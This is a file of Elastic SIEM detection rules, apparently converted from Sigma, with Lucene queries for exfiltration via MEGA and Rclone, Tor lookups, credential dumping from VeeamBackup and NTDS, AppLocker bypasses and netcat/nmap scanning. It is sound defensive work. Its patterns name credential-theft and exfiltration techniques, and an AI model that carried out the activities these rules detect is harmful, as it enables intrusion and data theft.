{"description":"Detects DNS queries for subdomains used for upload to MEGA.io Author: Aaron Greetham (@beardofbinary) - NCC Group. License: ","enabled":false,"false_positives":["Legitimate Mega upload"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9bbc1363-f110-b8ba-a00b-6828eff28676","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"DNS Query for MEGA.io Upload Domain","query":"dns.question.name:*userstorage.mega.co.nz*","meta":{"from":"1m"},"severity":"high","tags":["T1567"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0010","reference":"","name":"Exfiltration"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1567","name":"Exfiltration Over Web Service","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects DNS queries to a TeamViewer domain only resolved by a TeamViewer client by an image that isn't named TeamViewer (sometimes used by threat actors for obfuscation) Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown binary names of TeamViewer","Other programs that also lookup the observed domain"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0b5a0ea5-29d2-5096-e710-25b6ca75f1b8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious TeamViewer Domain Access","query":"(dns.question.name:(\"taf.teamviewer.com\" OR \"udp.ping.teamviewer.com\") AND (NOT (process.executable:*TeamViewer*)))","meta":{"from":"1m"},"severity":"medium","tags":["T1219"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects DNS resolution of an .onion address related to Tor routing networks Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f782447d-4b74-6439-e380-d19eabb66217","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Query Tor Onion Address","query":"dns.question.name:*.onion*","meta":{"from":"1m"},"severity":"high","tags":["T1090"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["filebeat-*"],"interval":"5m","rule_id":"bb317119-fead-569e-ccb1-ec5b5140523e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"PwnDrp Access","query":"url.original:*\\/pwndrop\\/*","meta":{"from":"1m"},"severity":"critical","tags":["T1071","T1102","T1102"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects dropping of dll files in system32 that may be used to retrieve user credentials from LSASS Author: Sreeman. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b7966f4a-b333-455b-8370-8ca53c229762","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Dropping Of Password Filter DLL","query":"(process.command_line:*HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa* AND process.command_line:*scecli\\\\0* AND process.command_line:*reg\\ add*)","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1556"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1556","name":"Modify Authentication Process","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects DSParse DLL being loaded by an Office Product Author: Antonlovesdnb. License: ","enabled":false,"false_positives":["Alerts on legitimate macro usage as well, will need to filter as appropriate"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a6f525e1-caee-ac71-9ede-5b3d53a13241","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Active Directory Parsing DLL Loaded Via Office Applications","query":"(process.executable:(*\\\\winword.exe OR *\\\\powerpnt.exe OR *\\\\excel.exe OR *\\\\outlook.exe) AND file.path:*\\\\dsparse.dll*)","meta":{"from":"1m"},"severity":"high","tags":["T1204"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1204","name":"User Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects dump of credentials in VeeamBackup dbo Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b57ba453-b384-4ab9-9f40-1038086b4e53","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"VeeamBackup Database Credentials Dump","query":"(process.executable:*\\\\sqlcmd.exe AND process.command_line:*SELECT* AND process.command_line:*TOP* AND process.command_line:*\\[VeeamBackup\\].\\[dbo\\].\\[Credentials\\]*)","meta":{"from":"1m"},"severity":"high","tags":["T1005"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1005","name":"Data from Local System","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Elise backdoor acitivty as used by APT32 Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e507feb7-5f73-4ef6-a970-91bb6f6d744f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Elise Backdoor","query":"((process.executable:\"C\\:\\\\Windows\\\\SysWOW64\\\\cmd.exe\" AND process.command_line:*\\\\Windows\\\\Caches\\\\NavShExt.dll\\ *) OR process.command_line:*\\\\AppData\\\\Roaming\\\\MICROS\\~1\\\\Windows\\\\Caches\\\\NavShExt.dll,Setting)","meta":{"from":"1m"},"severity":"critical","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects EmpireMonkey APT reported Activity Author: Markus Neis. License: ","enabled":false,"false_positives":["Very Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"10152a7b-b566-438f-a33c-390b607d1c8d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Empire Monkey","query":"(process.command_line:*\\/i\\:%APPDATA%\\\\logs.txt\\ scrobj.dll AND (process.executable:*\\\\cutil.exe OR winlog.event_data.Description:\"Microsoft\$C\$\\ Registerserver\"))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects EnableUnsafeClientMailRules used for Script Execution from Outlook Author: Markus Neis. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e212d415-0e93-435f-9e1a-f29005bb4723","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Execution from Outlook","query":"(process.command_line:*EnableUnsafeClientMailRules* OR (process.parent.executable:*\\\\outlook.exe AND process.command_line:*\\\\\\\\\\* AND process.command_line:*\\\\\\* AND process.command_line:*.exe*))","meta":{"from":"1m"},"severity":"high","tags":["T1059","T1202"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects enumeration of local network configuration Author: Ã–mer GÃ¼nal and remotephone, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"e7bd1cfa-b446-4c88-8afb-403bcd79e3fa","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"System Network Discovery - Linux","query":"(process.executable:(*\\/firewall\\-cmd OR *\\/ufw OR *\\/iptables OR *\\/netstat OR *\\/ss OR *\\/ip OR *\\/ifconfig OR *\\/systemd\\-resolve OR *\\/route) OR process.command_line:*\\/etc\\/resolv.conf*)","meta":{"from":"1m"},"severity":"low","tags":["T1016"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1016","name":"System Network Configuration Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects enumeration of local network configuration Author: remotephone, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"58800443-f9fc-4d55-ae0c-98a3966dfb97","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"System Network Discovery - macOS","query":"(process.executable:(\"\\/usr\\/sbin\\/netstat\" OR \"\\/sbin\\/ifconfig\" OR \"\\/usr\\/sbin\\/ipconfig\" OR \"\\/usr\\/libexec\\/ApplicationFirewall\\/socketfilterfw\" OR \"\\/usr\\/sbin\\/networksetup\" OR \"\\/usr\\/sbin\\/arp\") OR (process.executable:\"\\/usr\\/bin\\/defaults\" AND process.command_line:*read* AND process.command_line:*\\/Library\\/Preferences\\/com.apple.alf*))","meta":{"from":"1m"},"severity":"low","tags":["T1016"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1016","name":"System Network Configuration Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects enumeration of local or remote network services. Author: Alejandro Ortuno, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"3e102cd9-a70d-4a7a-9508-403963092f31","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Linux Network Service Scanning","query":"((process.executable:(*\\/nc OR *\\/netcat) AND (NOT (process.command_line:*l*))) OR process.executable:(*\\/telnet OR *\\/nmap))","meta":{"from":"1m"},"severity":"low","tags":["T1046"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1046","name":"Network Service Scanning","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects enumeration of local or remote network services. Author: Alejandro Ortuno, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"84bae5d4-b518-4ae0-b331-6d4afd34d00f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"MacOS Network Service Scanning","query":"((process.executable:(*\\/nc OR *\\/netcat) AND (NOT (process.command_line:*l*))) OR process.executable:(*\\/nmap OR *\\/telnet))","meta":{"from":"1m"},"severity":"low","tags":["T1046"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1046","name":"Network Service Scanning","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects enumeration of local systeam accounts Author: Alejandro Ortuno, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"b45e3d6f-42c6-47d8-a478-df6bd6cf534c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Local System Accounts Discovery","query":"(process.executable:*\\/lastlog OR process.command_line:*'x\\:0\\:'* OR (process.executable:*\\/cat AND process.command_line:(*\\/etc\\/passwd* OR *\\/etc\\/sudoers*)) OR process.executable:*\\/id OR (process.executable:*\\/lsof AND process.command_line:*\\-u*))","meta":{"from":"1m"},"severity":"low","tags":["T1087"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1087","name":"Account Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects enumeration of local systeam accounts on MacOS Author: Alejandro Ortuno, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"ddf36b67-e872-4507-ab2e-46bda21b842c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Local System Accounts Discovery","query":"((process.executable:*\\/dscl AND process.command_line:*list* AND process.command_line:*\\/users*) OR (process.executable:*\\/dscacheutil AND process.command_line:*\\-q* AND process.command_line:*user*) OR process.command_line:*'x\\:0\\:'* OR (process.executable:*\\/cat AND process.command_line:(*\\/etc\\/passwd* OR *\\/etc\\/sudoers*)) OR process.executable:*\\/id OR (process.executable:*\\/lsof AND process.command_line:*\\-u*))","meta":{"from":"1m"},"severity":"low","tags":["T1087"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1087","name":"Account Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects enumeration of local system groups Author: Ã–mer GÃ¼nal, Alejandro Ortuno, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"676381a6-15ca-4d73-a9c8-6a22e970b90d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Local Groups Discovery","query":"(process.executable:*\\/groups OR (process.executable:*\\/cat AND process.command_line:*\\/etc\\/group*))","meta":{"from":"1m"},"severity":"low","tags":["T1069"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1069","name":"Permission Groups Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects enumeration of local system groups Author: Ã–mer GÃ¼nal, Alejandro Ortuno, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"89bb1f97-c7b9-40e8-b52b-7d6afbd67276","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Local Groups Discovery","query":"((process.executable:*\\/dscacheutil AND process.command_line:*\\-q* AND process.command_line:*group*) OR (process.executable:*\\/cat AND process.command_line:*\\/etc\\/group*) OR (process.executable:*\\/dscl AND process.command_line:*\\-list* AND process.command_line:*\\/groups*))","meta":{"from":"1m"},"severity":"low","tags":["T1069"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1069","name":"Permission Groups Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects events that appear when a user click on a link file with a powershell command in it Author: frack113. License: ","enabled":false,"false_positives":["Legitimate commands in .lnk files"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"72551f53-c247-05e8-f57a-0335959d3922","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Hidden Powershell in Link File Pattern","query":"(process.parent.executable:\"C\\:\\\\Windows\\\\explorer.exe\" AND process.executable:\"C\\:\\\\Windows\\\\System32\\\\cmd.exe\" AND process.command_line:*powershell* AND process.command_line:*.lnk*)","meta":{"from":"1m"},"severity":"medium","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Executables in the Downloads folder without FileVersion,Description,Product,Company likely created with py2exe Author: Markus Neis, Sander Wiebing. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9637e8a5-7131-4f7f-bdc7-2b05d8670c43","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious File Characteristics Due to Missing Fields","query":"(winlog.event_data.Description:\"\\?\" AND (FileVersion:\"\\?\" OR Product:\"\\?\" OR Company:\"\\?\") AND process.executable:*\\\\Downloads\\\\*)","meta":{"from":"1m"},"severity":"medium","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects executables launched outside their default directories as used by Lazarus Group (Bluenoroff) Author: Trent Liffick (@tliffick), Bartlomiej Czyz (@bczyz1). License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0701cbf2-73dc-67f5-fa13-c441ba2a34a8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Lazarus Session Highjacker","query":"(process.executable:(*\\\\msdtc.exe OR *\\\\gpvc.exe) AND (NOT (process.executable:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\*))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects execution of AppleScript of the macOS scripting language AppleScript. Author: Alejandro Ortuno, oscd.community. License: ","enabled":false,"false_positives":["Application installers might contain scripts as part of the installation process."],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"1bc2e6c5-0885-472b-bed6-be5ea8eace55","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"MacOS Scripting Interpreter AppleScript","query":"(process.executable:*\\/osascript AND process.command_line:*\\-e*)","meta":{"from":"1m"},"severity":"medium","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed) Author: Julia Fomina, oscd.community. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6a4502ce-258d-c500-5011-3de755af15b7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl","query":"(file.path:(*WsmPty.xsl OR *WsmTxt.xsl) AND (NOT (file.path:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\*))))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1216"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1216","name":"Signed Script Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed) Author: Julia Fomina, oscd.community. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"074e0ded-6ced-4ebd-8b4d-53f55908119d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl","query":"(process.command_line:*winrm* AND process.command_line:(*format\\:pretty* OR *format\\:\\\"pretty\\\"* OR *format\\:\\\"text\\\"* OR *format\\:text*) AND (NOT (process.executable:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\*))))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1216"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1216","name":"Signed Script Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects execution of executables that can be used to bypass Applocker whitelisting Author: juju4. License: ","enabled":false,"false_positives":["False positives depend on scripts and administrative tools used in the monitored environment","Using installutil to add features for .NET applications (primarily would occur in developer environments)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"82a19e3a-2bfe-4a91-8c0d-5d4c98fbb719","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Possible Applocker Bypass","query":"process.command_line:(*\\\\msdt.exe* OR *\\\\installutil.exe* OR *\\\\regsvcs.exe* OR *\\\\regasm.exe* OR *\\\\msbuild.exe* OR *\\\\ieexec.exe*)","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1127","T1218","T1218","T1218","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1127","name":"Trusted Developer Utilities Proxy Execution","reference":""},{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""},{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""},{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""},{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects execution of Net.exe, whether suspicious or benign. Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements). License: ","enabled":false,"false_positives":["Will need to be tuned. If using Splunk, I recommend | stats count by Computer,CommandLine following the search for easy hunting by computer/CommandLine."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"183e7ea8-ac4b-4c23-9aec-b3dac4e401ac","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Net.exe Execution","query":"(process.executable:(*\\\\net.exe OR *\\\\net1.exe) AND process.command_line:(*\\ group* OR *\\ localgroup* OR *\\ user* OR *\\ view* OR *\\ share* OR *\\ accounts* OR *\\ stop\\ * OR *\\ start*))","meta":{"from":"1m"},"severity":"low","tags":["Lateral Movement","T1007","T1018","T1021","T1049","T1069","T1069","T1087","T1087","T1135","T1201"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1007","name":"System Service Discovery","reference":""},{"id":"T1018","name":"Remote System Discovery","reference":""},{"id":"T1049","name":"System Network Connections Discovery","reference":""},{"id":"T1069","name":"Permission Groups Discovery","reference":""},{"id":"T1069","name":"Permission Groups Discovery","reference":""},{"id":"T1087","name":"Account Discovery","reference":""},{"id":"T1087","name":"Account Discovery","reference":""},{"id":"T1135","name":"Network Share Discovery","reference":""},{"id":"T1201","name":"Password Policy Discovery","reference":""}]},{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1021","name":"Remote Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects execution of ntdsutil.exe, which can be used for various attacks against the NTDS database (NTDS.DIT) Author: Thomas Patzke. License: ","enabled":false,"false_positives":["NTDS maintenance"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2afafd61-6aae-4df4-baed-139fa1f4c345","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Invocation of Active Directory Diagnostic Tool (ntdsutil.exe)","query":"process.executable:*\\\\ntdsutil.exe","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects execution of of Dxcap.exe Author: Beyu Denis, oscd.community. License: ","enabled":false,"false_positives":["Legitimate execution of dxcap.exe by legitimate user"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"60f16a96-db70-42eb-8f76-16763e333590","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Application Whitelisting Bypass via Dxcap.exe","query":"(process.executable:*\\\\dxcap.exe AND process.command_line:*\\-c* AND process.command_line:*.exe*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects execution of PowerShell Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"18b91630-e860-8437-11a1-af50a5b0b472","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"T1086 PowerShell Execution","query":"file.name:\\\\PSHost*","meta":{"from":"1m"},"severity":"low","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects execution of powershell scripts via Runscripthelper.exe Author: Victor Sergeev, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"eca49c87-8a75-4f13-9c73-a5a29e845f03","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Runscripthelper.exe","query":"(process.executable:*\\\\Runscripthelper.exe AND process.command_line:*surfacecheck*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1059","T1202"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1202","name":"Indirect Command Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc Author: Bhabesh Raj, Sittikorn S, Aaron Greetham (@beardofbinary) - NCC Group. License: ","enabled":false,"false_positives":["Legitimate RClone use"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e37db05d-d1f9-49c8-b464-cee1a4b11638","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Rclone Execution via Command Line or PowerShell","query":"((process.command_line:*\\-\\-config\\ * AND process.command_line:*\\-\\-no\\-check\\-certificate\\ * AND process.command_line:*\\ copy\\ *) OR (process.command_line:(*pass* OR *user* OR *copy* OR *sync* OR *config* OR *lsd* OR *remote* OR *ls* OR *mega* OR *pcloud* OR *ftp* OR *ignore\\-existing* OR *auto\\-confirm* OR *transfers* OR *multi\\-thread\\-streams* OR *no\\-check\\-certificate\\ *) AND (winlog.event_data.Description:\"Rsync\\ for\\ cloud\\ storage\" OR (process.executable:*\\\\rclone.exe AND process.parent.executable:(*\\\\PowerShell.exe OR *\\\\cmd.exe)))))","meta":{"from":"1m"},"severity":"high","tags":["T1567"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0010","reference":"","name":"Exfiltration"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1567","name":"Exfiltration Over Web Service","reference":""}]}],"version":1,"references":[""]}
